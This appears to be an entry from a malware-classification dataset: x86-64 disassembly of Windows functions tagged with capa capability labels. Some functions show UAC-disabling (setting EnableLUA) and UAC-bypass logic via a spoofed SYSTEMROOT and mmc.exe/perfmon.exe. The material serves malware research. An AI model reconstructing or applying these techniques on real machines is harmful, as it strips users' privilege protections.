joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140016b9a
Capabilities:
Delete registry key
Delete registry value

Disassembly:
jmp 0x14003b080
push rbp
push rdi
sub rsp, 0x2a8
lea rbp, [rsp + 0x20]
mov rdi, rsp
mov ecx, 0xaa
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x140064bf8]
xor rax, rbp
mov qword [rbp + 0x278], rax
lea rcx, [0x14006d245]
call fcn.140016276
mov dword [rbp + 4], 0
mov dword [rbp + 0x24], 0xc0000001
mov dword [rbp + 0x44], 0x20
mov eax, 0x22
mov word [rbp + 0x118], ax
mov eax, 0x24
mov word [rbp + 0x11a], ax
lea rax, str.SymbolicLinkValue
mov qword [rbp + 0x120], rax
call fcn.1400168b1
mov rax, qword [rax + 0x30]
mov qword [rbp + 0x148], rax
mov qword [rbp + 0x168], 0
mov qword [rbp + 0x1a8], 0
mov dword [rbp + 0xc8], 0x30
mov qword [rbp + 0xd0], 0
mov dword [rbp + 0xe0], 0x40
lea rax, [rbp + 0x98]
mov qword [rbp + 0xd8], rax
mov qword [rbp + 0xe8], 0
mov qword [rbp + 0xf0], 0
lea rcx, [rbp + 0x68]
call qword [sym.imp.ntdll.dll_RtlFormatCurrentUserKeyPath]
mov dword [rbp + 0x24], eax
cmp dword [rbp + 0x24], 0
jge 0x14003b17a
mov eax, dword [rbp + 0x24]
jmp 0x14003b2f8
movzx eax, word [rbp + 0x6a]
mov ecx, dword [rbp + 0x44]
lea rax, [rax + rcx + 2]
mov qword [rbp + 0x188], rax
mov r8, qword [rbp + 0x188]
mov edx, 8
mov rcx, qword [rbp + 0x148]
call qword [sym.imp.ntdll.dll_RtlAllocateHeap]
mov qword [rbp + 0x168], rax
cmp qword [rbp + 0x168], 0
jne 0x14003b1bc
jmp 0x14003b2cb
mov rax, qword [rbp + 0x168]
mov qword [rbp + 0xa0], rax
xor eax, eax
mov word [rbp + 0x98], ax
movzx eax, word [rbp + 0x188]
mov word [rbp + 0x9a], ax
lea rdx, [rbp + 0x68]
lea rcx, [rbp + 0x98]
call qword [sym.imp.ntdll.dll_RtlAppendUnicodeStringToString]
mov dword [rbp + 0x24], eax
cmp dword [rbp + 0x24], 0
jge 0x14003b200
jmp 0x14003b2cb
lea rdx, str.SoftwareKureND
lea rcx, [rbp + 0x98]
call qword [sym.imp.ntdll.dll_RtlAppendUnicodeToString]
mov dword [rbp + 0x24], eax
cmp dword [rbp + 0x24], 0
jge 0x14003b222
jmp 0x14003b2cb
mov dword [rbp + 0xc8], 0x30
mov qword [rbp + 0xd0], 0
mov dword [rbp + 0xe0], 0x140
lea rax, [rbp + 0x98]
mov qword [rbp + 0xd8], rax
mov qword [rbp + 0xe8], 0
mov qword [rbp + 0xf0], 0
lea r8, [rbp + 0xc8]
mov edx, 0xf003f
lea rcx, [rbp + 0x1a8]
call qword [sym.imp.ntdll.dll_NtOpenKey]
mov dword [rbp + 0x24], eax
cmp dword [rbp + 0x24], 0
jl 0x14003b2c1
lea rdx, [rbp + 0x118]
mov rcx, qword [rbp + 0x1a8]
call qword [sym.imp.ntdll.dll_NtDeleteValueKey]
mov dword [rbp + 0x24], eax
cmp dword [rbp + 0x24], 0
jl 0x14003b2b4
mov rcx, qword [rbp + 0x1a8]
call qword [sym.imp.ntdll.dll_NtDeleteKey]
mov dword [rbp + 0x24], eax
mov rcx, qword [rbp + 0x1a8]
call qword [sym.imp.ntdll.dll_NtClose]
cmp dword [rbp + 4], 0
jne 0x14003b17a
cmp qword [rbp + 0x168], 0
je 0x14003b2eb
mov r8, qword [rbp + 0x168]
xor edx, edx
mov rcx, qword [rbp + 0x148]
call qword [sym.imp.ntdll.dll_RtlFreeHeap]
lea rcx, [rbp + 0x68]
call qword [sym.imp.ntdll.dll_RtlFreeUnicodeString]
mov eax, dword [rbp + 0x24]
mov rdi, rax
lea rcx, [rbp - 0x20]
lea rdx, [0x140055008]
call fcn.140016b90
mov rax, rdi
mov rcx, qword [rbp + 0x278]
xor rcx, rbp
call fcn.14001633e
lea rsp, [rbp + 0x288]
pop rdi
pop rbp
ret
Function at 0x140016bef
Capabilities:
Access pe header

Disassembly:
jmp 0x14003b3d0
mov dword [rsp + 0x20], r9d
mov qword [rsp + 0x18], r8
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x188
lea rbp, [rsp + 0x20]
mov rdi, rsp
mov ecx, 0x62
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x1a8]
mov rax, qword [0x140064bf8]
xor rax, rbp
mov qword [rbp + 0x158], rax
lea rcx, [0x14006d245]
call fcn.140016276
mov dword [rbp + 4], 0
mov rcx, qword [rbp + 0x180]
call qword [sym.imp.ntdll.dll_RtlImageNtHeader]
mov qword [rbp + 0x28], rax
cmp qword [rbp + 0x28], 0
je 0x14003b4f6
mov dword [rbp + 0x44], 0
lea rdx, [rbp + 0x44]
mov rcx, qword [rbp + 0x180]
call fcn.1400164a6
mov qword [rbp + 0x68], rax
cmp qword [rbp + 0x68], 0
je 0x14003b4f6
mov rdx, qword [rbp + 0x190]
mov rcx, qword [rbp + 0x68]
call fcn.140016aa0
mov qword [rbp + 0x88], rax
cmp qword [rbp + 0x88], 0
je 0x14003b4e4
mov rax, qword [rbp + 0x68]
mov rcx, qword [rbp + 0x88]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rbp + 0x28]
mov dword [rcx + 0x28], eax
cmp dword [rbp + 0x198], 0
je 0x14003b4c4
mov rax, qword [rbp + 0x28]
movzx eax, word [rax + 0x16]
btr eax, 0xd
mov rcx, qword [rbp + 0x28]
mov word [rcx + 0x16], ax
mov edx, dword [rbp + 0x188]
mov rcx, qword [rbp + 0x180]
call fcn.1400160dc
mov rcx, qword [rbp + 0x28]
mov dword [rcx + 0x58], eax
mov dword [rbp + 4], 1
mov r8d, 0x8000
xor edx, edx
mov rcx, qword [rbp + 0x68]
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov eax, dword [rbp + 4]
mov edi, eax
lea rcx, [rbp - 0x20]
lea rdx, [0x1400548f0]
call fcn.140016b90
mov eax, edi
mov rcx, qword [rbp + 0x158]
xor rcx, rbp
call fcn.14001633e
lea rsp, [rbp + 0x168]
pop rdi
pop rbp
ret
Function at 0x140016c08
Capabilities:
Delete registry key
Query or enumerate registry key

Disassembly:
jmp 0x14003cdb0
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x498
lea rbp, [rsp + 0x40]
mov rdi, rsp
mov ecx, 0x126
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x4b8]
mov rax, qword [0x140064bf8]
xor rax, rbp
mov qword [rbp + 0x448], rax
lea rcx, [0x14006d245]
call fcn.140016276
mov rdx, qword [rbp + 0x478]
mov rcx, qword [rbp + 0x470]
call qword [sym.imp.ADVAPI32.dll_RegDeleteKeyW]
mov dword [rbp + 0x24], eax
cmp dword [rbp + 0x24], 0
jne 0x14003ce23
mov eax, 1
jmp 0x14003cfc1
lea rax, [rbp + 0x298]
mov qword [rsp + 0x20], rax
mov r9d, 0x20019
xor r8d, r8d
mov rdx, qword [rbp + 0x478]
mov rcx, qword [rbp + 0x470]
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov dword [rbp + 0x24], eax
cmp dword [rbp + 0x24], 0
je 0x14003ce6e
cmp dword [rbp + 0x24], 2
jne 0x14003ce67
mov eax, 1
jmp 0x14003cfc1
xor eax, eax
jmp 0x14003cfc1
mov rcx, qword [rbp + 0x478]
call fcn.14001638e
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
movzx eax, word [rax - 2]
cmp eax, 0x5c
je 0x14003ceac
mov eax, 0x5c
mov rcx, qword [rbp + 8]
mov word [rcx], ax
mov rax, qword [rbp + 8]
add rax, 2
mov qword [rbp + 8], rax
xor eax, eax
mov rcx, qword [rbp + 8]
mov word [rcx], ax
mov dword [rbp + 0x44], 0x104
lea rax, [rbp + 0x2b8]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
lea r9, [rbp + 0x44]
lea r8, [rbp + 0x70]
xor edx, edx
mov rcx, qword [rbp + 0x298]
call qword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
mov dword [rbp + 0x24], eax
cmp dword [rbp + 0x24], 0
jne 0x14003cf79
mov r9d, 0x104
lea r8, [rbp + 0x70]
mov edx, 0x104
mov rcx, qword [rbp + 8]
call fcn.140016bd1
mov rdx, qword [rbp + 0x478]
mov rcx, qword [rbp + 0x470]
call fcn.140016c08
test eax, eax
jne 0x14003cf2b
jmp 0x14003cf79
mov dword [rbp + 0x44], 0x104
lea rax, [rbp + 0x2b8]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
lea r9, [rbp + 0x44]
lea r8, [rbp + 0x70]
xor edx, edx
mov rcx, qword [rbp + 0x298]
call qword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
mov dword [rbp + 0x24], eax
cmp dword [rbp + 0x24], 0
je 0x14003cefa
mov rax, qword [rbp + 8]
sub rax, 2
mov qword [rbp + 8], rax
xor eax, eax
mov rcx, qword [rbp + 8]
mov word [rcx], ax
mov rcx, qword [rbp + 0x298]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rdx, qword [rbp + 0x478]
mov rcx, qword [rbp + 0x470]
call qword [sym.imp.ADVAPI32.dll_RegDeleteKeyW]
mov dword [rbp + 0x24], eax
cmp dword [rbp + 0x24], 0
jne 0x14003cfbf
mov eax, 1
jmp 0x14003cfc1
xor eax, eax
mov rdi, rax
lea rcx, [rbp - 0x40]
lea rdx, [0x1400560c0]
call fcn.140016b90
mov rax, rdi
mov rcx, qword [rbp + 0x448]
xor rcx, rbp
call fcn.14001633e
lea rsp, [rbp + 0x458]
pop rdi
pop rbp
ret
Function at 0x140016c3a
Capabilities:
Create directory

Disassembly:
jmp 0x140021bc0
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x6d8
lea rbp, [rsp + 0x20]
mov rdi, rsp
mov ecx, 0x1b6
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x6f8]
mov rax, qword [0x140064bf8]
xor rax, rbp
mov qword [rbp + 0x6a8], rax
lea rcx, [0x14006d0ef]
call fcn.140016276
mov dword [rbp + 4], 0xc0000022
mov dword [rbp + 0x24], 0
mov r9d, 1
lea r8, [0x140047748]
mov edx, dword [rbp + 0x6d8]
mov rcx, qword [rbp + 0x6d0]
call fcn.140016bef
test eax, eax
jne 0x140021c41
jmp 0x140021d3b
mov edx, 0x410
lea rcx, [rbp + 0x50]
call fcn.140016c2b
mov rax, qword [0x140065a08]
add rax, 0x480
mov rdx, rax
lea rcx, [rbp + 0x50]
call fcn.14001616d
lea rdx, str.DNeruK
lea rcx, [rbp + 0x50]
call fcn.1400165e1
xor edx, edx
lea rcx, [rbp + 0x50]
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
jne 0x140021c9a
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x140021c9a
jmp 0x140021d3b
lea r9, [rbp + 0x50]
lea r8, str.SYSTEMROOT
lea rdx, str.Volatile_Environment
xor ecx, ecx
call fcn.140016848
mov dword [rbp + 0x24], eax
cmp dword [rbp + 0x24], 0
jne 0x140021cbe
jmp 0x140021d3b
lea rdx, str._system32_
lea rcx, [rbp + 0x50]
call fcn.1400165e1
xor edx, edx
lea rcx, [rbp + 0x50]
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
jne 0x140021ced
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x140021ced
jmp 0x140021d3b
lea rdx, str.mmc.exe
lea rcx, [rbp + 0x50]
call fcn.1400165e1
mov r8d, dword [rbp + 0x6d8]
mov rdx, qword [rbp + 0x6d0]
lea rcx, [rbp + 0x50]
call fcn.140016ad7
test eax, eax
je 0x140021d31
xor edx, edx
lea rcx, str.perfmon.exe
call fcn.140016a7d
test eax, eax
je 0x140021d31
mov dword [rbp + 4], 0
xor eax, eax
test eax, eax
jne 0x140021c19
cmp dword [rbp + 0x24], 0
je 0x140021d5c
xor r9d, r9d
lea r8, str.SYSTEMROOT
lea rdx, str.Volatile_Environment
mov ecx, 1
call fcn.140016848
mov eax, dword [rbp + 4]
mov edi, eax
lea rcx, [rbp - 0x20]
lea rdx, [0x140047580]
call fcn.140016b90
mov eax, edi
mov rcx, qword [rbp + 0x6a8]
xor rcx, rbp
call fcn.14001633e
lea rsp, [rbp + 0x6b8]
pop rdi
pop rbp
ret
Function at 0x140016c94
Capabilities:
Encode data using xor

Disassembly:
jmp 0x14001fe70
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x148
lea rbp, [rsp + 0x20]
mov rdi, rsp
mov ecx, 0x52
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x168]
lea rcx, [0x14006d0b6]
call fcn.140016276
cmp qword [rbp + 0x140], 0
je 0x14001fec2
cmp dword [rbp + 0x148], 0
jne 0x14001fec4
jmp 0x14001ff12
mov eax, dword [rbp + 0x150]
mov dword [rbp + 4], eax
mov eax, dword [rbp + 0x148]
mov dword [rbp + 0x24], eax
mov rax, qword [rbp + 0x140]
mov qword [rbp + 0x48], rax
mov rax, qword [rbp + 0x48]
movzx eax, byte [rax]
xor eax, dword [rbp + 4]
mov rcx, qword [rbp + 0x48]
mov byte [rcx], al
mov eax, dword [rbp + 4]
rol eax, 1
mov dword [rbp + 4], eax
mov rax, qword [rbp + 0x48]
inc rax
mov qword [rbp + 0x48], rax
mov eax, dword [rbp + 0x24]
dec eax
mov dword [rbp + 0x24], eax
cmp dword [rbp + 0x24], 0
jne 0x14001fee1
lea rsp, [rbp + 0x128]
pop rdi
pop rbp
ret
Function at 0x140016cb2
Capabilities:
Disable system features via registry on windows
Set registry value

Disassembly:
jmp 0x1400332c0
push rbp
push rdi
sub rsp, 0x4f8
lea rbp, [rsp + 0x30]
mov rdi, rsp
mov ecx, 0x13e
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x140064bf8]
xor rax, rbp
mov qword [rbp + 0x4b8], rax
lea rcx, [0x14006d20c]
call fcn.140016276
mov dword [rbp + 4], 0xc0000022
mov qword [rbp + 0x28], 0
mov eax, 0x12
mov word [rbp + 0x318], ax
mov eax, SafeArrayGetElement
mov word [rbp + 0x31a], ax
lea rax, str.EnableLUA
mov qword [rbp + 0x320], rax
lea r9, str.D:_A__GA___WD_
mov r8d, 4
mov edx, 4
lea rcx, str.MACHINESOFTWAREMicrosoftWindowsCurrentVersionpolicies_system
call fcn.14001614f
test eax, eax
je 0x140033436
mov edx, 0x208
lea rcx, [rbp + 0x70]
call fcn.140016c2b
lea rdx, str.REGISTRY_
lea rcx, [rbp + 0x70]
call fcn.14001616d
lea rdx, str.MACHINESOFTWAREMicrosoftWindowsCurrentVersionpolicies_system
lea rcx, [rbp + 0x70]
call fcn.1400165e1
lea rdx, [rbp + 0x70]
lea rcx, [rbp + 0x298]
call qword [sym.imp.ntdll.dll_RtlInitUnicodeString]
mov dword [rbp + 0x2c8], 0x30
mov qword [rbp + 0x2d0], 0
mov dword [rbp + 0x2e0], 0x40
lea rax, [rbp + 0x298]
mov qword [rbp + 0x2d8], rax
mov qword [rbp + 0x2e8], 0
mov qword [rbp + 0x2f0], 0
lea r8, [rbp + 0x2c8]
mov edx, 0x2000000
lea rcx, [rbp + 0x28]
call qword [sym.imp.ntdll.dll_NtOpenKey]
mov dword [rbp + 4], eax
cmp dword [rbp + 4], 0
jl 0x140033436
mov dword [rbp + 0x44], 0
mov dword [rsp + 0x28], 4
lea rax, [rbp + 0x44]
mov qword [rsp + 0x20], rax
mov r9d, 4
xor r8d, r8d
lea rdx, [rbp + 0x318]
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.ntdll.dll_NtSetValueKey]
mov dword [rbp + 4], eax
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.ntdll.dll_NtClose]
cmp dword [rbp + 4], 0
jl 0x140033452
lea rdx, str.UAC_is_now_disabled._nYou_must_reboot_your_computer_for_the_changes_to_take_effect.
mov rax, qword [0x140065a08]
mov ecx, dword [rax + 4]
call fcn.140016226
mov eax, dword [rbp + 4]
mov edi, eax
lea rcx, [rbp - 0x30]
lea rdx, reloc.OLEAUT32.dll_SysStringLen
call fcn.140016b90
mov eax, edi
mov rcx, qword [rbp + 0x4b8]
xor rcx, rbp
call fcn.14001633e
lea rsp, [rbp + 0x4c8]
pop rdi
pop rbp
ret
Function at 0x1400019b0
Capabilities:
Create pipe

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rdi
push rbp
lea rbp, [rsp - 0x57]
sub rsp, 0x90
mov rax, qword [0x14003b010]
xor rax, rsp
mov qword [rbp + 0x4f], rax
mov rdi, rcx
xor ebx, ebx
mov qword [rbp + 7], rbx
mov byte [rbp + 0xf], bl
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x17], xmm0
mov qword [rbp + 0x27], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov ecx, dword [rdi + 0x1c]
test ecx, ecx
je 0x140001ac5
cmp ecx, 1
je 0x140001a0e
mov ebx, 8
jmp 0x140001bd7
lea rdx, [rdi + 0x70]
lea rcx, [rbp + 0x2f]
call fcn.140001c20
nop
lea rcx, [rbp + 0x2f]
cmp qword [rbp + 0x47], 8
cmovae rcx, qword [rbp + 0x2f]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_WaitNamedPipeW]
nop
mov rdx, qword [rbp + 0x47]
test eax, eax
jne 0x140001a81
cmp rdx, 8
jb 0x140001a77
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x2f]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001a72
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140001c0e
call fcn.140011900
mov ebx, 4
jmp 0x140001bd7
cmp rdx, 8
jb 0x140001bd7
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x2f]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001bd1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140001c08
jmp 0x140001bd1
mov byte [rdi + 0x18], 0
xor r9d, r9d
xor r8d, r8d
lea edx, [r9 + 1]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventA]
mov qword [rdi + 0x10], rax
test rax, rax
jne 0x140001aec
lea ebx, [rax + 2]
jmp 0x140001bd7
lea rdx, [rdi + 0x70]
lea rcx, [rbp + 0x2f]
call fcn.140001c20
nop
lea rcx, [rdi + 0xb0]
lea rax, [rbp + 0x2f]
cmp rcx, rax
je 0x140001b21
lea rdx, [rbp + 0x2f]
cmp qword [rbp + 0x47], 8
cmovae rdx, qword [rbp + 0x2f]
mov r8, qword [rbp + 0x3f]
call fcn.1400021b0
lea rcx, [rbp + 0x2f]
cmp qword [rbp + 0x47], 8
cmovae rcx, qword [rbp + 0x2f]
mov qword [rsp + 0x38], rbx
mov dword [rsp + 0x30], 0x3e8
mov dword [rsp + 0x28], ebx
mov dword [rsp + 0x20], ebx
mov edx, 0x80003
mov r9d, 1
lea r8d, [r9 + 0xd]
call qword [sym.imp.KERNEL32.dll_CreateNamedPipeW]
mov qword [rdi + 0x48], rax
mov rcx, qword [rbp + 0x1f]
test rcx, rcx
je 0x140001b6c
call qword [sym.imp.KERNEL32.dll_LocalFree]
cmp qword [rdi + 0x48], 0xffffffffffffffff
jne 0x140001b84
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 5
sete bl
add ebx, 2
jmp 0x140001b9a
mov dword [rdi], ebx
mov rcx, qword [rdi + 0x10]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rcx, rdi
call fcn.140001300
mov ebx, eax
mov rdx, qword [rbp + 0x47]
cmp rdx, 8
jb 0x140001bd7
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x2f]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001bd1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140001c02
call fcn.140011900
nop
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov eax, ebx
mov rcx, qword [rbp + 0x4f]
xor rcx, rsp
call fcn.1400118a0
lea r11, [rsp + 0x90]
mov rbx, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov rsp, r11
pop rbp
ret
call fcn.14001669c
nop
call fcn.14001669c
int3
call fcn.14001669c
int3
Function at 0x140001ce0
Capabilities:
Read pipe
Write pipe

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
mov dword [rsp + 0x20], r9d
push rsi
sub rsp, 0x40
xor ebx, ebx
mov rbp, r8
mov rsi, rdx
test rdx, rdx
je 0x140001e28
xor ecx, ecx
mov qword [rsp + 0x50], rdi
call qword [sym.imp.KERNEL32.dll_SetLastError]
mov qword [rsp + 0x30], rbx
lea r8d, [rbx + 3]
mov dword [rsp + 0x28], 0x190000
xor r9d, r9d
mov edx, 0xc0000000
mov dword [rsp + 0x20], 3
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rdi, rax
cmp rax, 0xffffffffffffffff
jne 0x140001da1
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xe7
jne 0x140001e11
mov edx, dword [rsp + 0x88]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_WaitNamedPipeW]
test eax, eax
je 0x140001e11
mov qword [rsp + 0x30], rbx
lea r8d, [rbx + 3]
mov dword [rsp + 0x28], 0x190000
xor r9d, r9d
mov edx, 0xc0000000
mov dword [rsp + 0x20], 3
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x140001e11
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetFileType]
cmp eax, 3
jne 0x140001e02
xor r9d, r9d
mov dword [rsp + 0x68], 2
xor r8d, r8d
lea rdx, [rsp + 0x68]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_SetNamedPipeHandleState]
test eax, eax
je 0x140001e02
mov rax, qword [rsp + 0x80]
mov r8d, 0x410
mov r9, qword [rsp + 0x70]
mov rdx, rbp
mov qword [rsp + 0x30], rbx
mov rcx, rdi
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0x40c
call qword [sym.imp.KERNEL32.dll_TransactNamedPipe]
mov ebx, eax
cmp rdi, 0xffffffffffffffff
je 0x140001e11
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rdi, qword [rsp + 0x50]
mov eax, ebx
mov rbx, qword [rsp + 0x58]
mov rbp, qword [rsp + 0x60]
add rsp, 0x40
pop rsi
ret
mov rbp, qword [rsp + 0x60]
mov eax, ebx
mov rbx, qword [rsp + 0x58]
add rsp, 0x40
pop rsi
ret
Function at 0x1400067c0
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rbp
push rdi
push r14
lea rbp, [rsp - 0x47]
sub rsp, 0xd0
mov esi, r8d
mov r14, rdx
mov rdi, rcx
xor eax, eax
mov dword [rbp + 0x67], eax
mov qword [rbp - 0x11], rax
xorps xmm0, xmm0
movdqu xmmword [rbp - 9], xmm0
xor r9d, r9d
xor r8d, r8d
lea edx, [rax + 1]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventA]
mov rbx, rax
mov qword [rbp + 0x7f], rax
mov qword [rbp + 7], rax
mov qword [rbp - 0x21], rax
mov rax, qword [rdi + 0x10]
mov rcx, qword [rax + 0x28]
mov qword [rbp - 0x19], rcx
cmp rbx, 0xffffffffffffffff
je 0x140006964
nop word [rax + rax]
lea rax, [rbp - 0x11]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x67]
mov r8d, esi
mov rdx, r14
mov rcx, qword [rdi + 8]
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x1400068bf
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x3e5
jne 0x1400068b4
mov r9d, 0xffffffff
xor r8d, r8d
lea rdx, [rbp - 0x21]
lea ecx, [r8 + 2]
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
test eax, eax
je 0x140006884
cmp eax, 1
je 0x140006916
jmp 0x140006830
mov r9d, 1
lea r8, [rbp + 0x67]
lea rdx, [rbp - 0x11]
mov rcx, qword [rdi + 8]
call qword [sym.imp.KERNEL32.dll_GetOverlappedResult]
test eax, eax
jne 0x1400068bf
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x6d
je 0x140006930
jmp 0x14000699a
cmp eax, 0x6d
je 0x14000694a
jmp 0x1400068e0
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea r11, [rsp + 0xd0]
mov rbx, qword [r11 + 0x28]
mov rsi, qword [r11 + 0x30]
mov rsp, r11
pop r14
pop rdi
pop rbp
ret
xor r9d, r9d
lea r8, [r9 - 1]
lea rdx, str.Read_Error
lea rcx, [rbp + 0xf]
call fcn.14000eed8
nop
lea rdx, [rbp + 0xf]
lea rcx, [rbp - 0x59]
call fcn.140006240
lea rdx, [0x140039768]
lea rcx, [rbp - 0x59]
call fcn.14001351c
nop
lea rcx, [rbp - 0x59]
call fcn.1400062b0
lea rdx, [0x140039730]
lea rcx, [rbp - 0x59]
call fcn.14001351c
int3
lea rcx, [rbp - 0x59]
call fcn.1400062b0
lea rdx, [0x140039730]
lea rcx, [rbp - 0x59]
call fcn.14001351c
int3
lea rcx, [rbp - 0x59]
call fcn.1400062b0
lea rdx, [0x140039730]
lea rcx, [rbp - 0x59]
call fcn.14001351c
int3
xor r9d, r9d
lea r8, [r9 - 1]
lea rdx, str.Failed_to_create_connection
lea rcx, [rbp + 0xf]
call fcn.14000eed8
nop
lea rdx, [rbp + 0xf]
lea rcx, [rbp - 0x59]
call fcn.140006240
lea rdx, [0x140039768]
lea rcx, [rbp - 0x59]
call fcn.14001351c
nop
xor r9d, r9d
lea r8, [r9 - 1]
lea rdx, str.unexpected_error
lea rcx, [rbp + 0xf]
call fcn.14000eed8
nop
lea rdx, [rbp + 0xf]
lea rcx, [rbp - 0x59]
call fcn.140006240
lea rdx, [0x140039768]
lea rcx, [rbp - 0x59]
call fcn.14001351c
int3
Function at 0x140006a30
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rbp
push rdi
push r14
lea rbp, [rsp - 0x47]
sub rsp, 0xd0
mov esi, r8d
mov r14, rdx
mov rdi, rcx
cmp qword [rcx + 8], 0xffffffffffffffff
je 0x140006bc3
xor eax, eax
mov dword [rbp + 0x67], eax
mov qword [rbp - 0x49], rax
xorps xmm0, xmm0
movdqu xmmword [rbp - 0x41], xmm0
xor r9d, r9d
xor r8d, r8d
lea edx, [rax + 1]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventA]
mov rbx, rax
mov qword [rbp + 0x7f], rax
mov qword [rbp - 0x31], rax
mov qword [rbp - 0x59], rax
mov rax, qword [rdi + 0x10]
mov rcx, qword [rax + 0x28]
mov qword [rbp - 0x51], rcx
cmp rbx, 0xffffffffffffffff
je 0x140006bdd
nop word [rax + rax]
lea rax, [rbp - 0x49]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x67]
mov r8d, esi
mov rdx, r14
mov rcx, qword [rdi + 8]
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x140006b1d
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x3e5
jne 0x140006b3e
mov r9d, 0xffffffff
xor r8d, r8d
lea rdx, [rbp - 0x59]
lea ecx, [r8 + 2]
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
test eax, eax
je 0x140006b04
cmp eax, 1
je 0x140006b8f
jmp 0x140006ab0
mov r9d, 1
lea r8, [rbp + 0x67]
lea rdx, [rbp - 0x49]
mov rcx, qword [rdi + 8]
call qword [sym.imp.KERNEL32.dll_GetOverlappedResult]
nop
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea r11, [rsp + 0xd0]
mov rbx, qword [r11 + 0x28]
mov rsi, qword [r11 + 0x30]
mov rsp, r11
pop r14
pop rdi
pop rbp
ret
call qword [sym.imp.KERNEL32.dll_GetLastError]
nop
cmp eax, 0xe8
je 0x140006ba9
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xe9
je 0x140006ba9
xor r9d, r9d
lea r8, [r9 - 1]
lea rdx, str.Connection_Closed
lea rcx, [rbp + 0xf]
call fcn.14000eed8
nop
lea rdx, [rbp + 0xf]
lea rcx, [rbp - 0x29]
call fcn.140006240
lea rdx, [0x140039768]
lea rcx, [rbp - 0x29]
call fcn.14001351c
nop
lea rcx, [rbp - 0x29]
call fcn.1400062b0
lea rdx, [0x140039730]
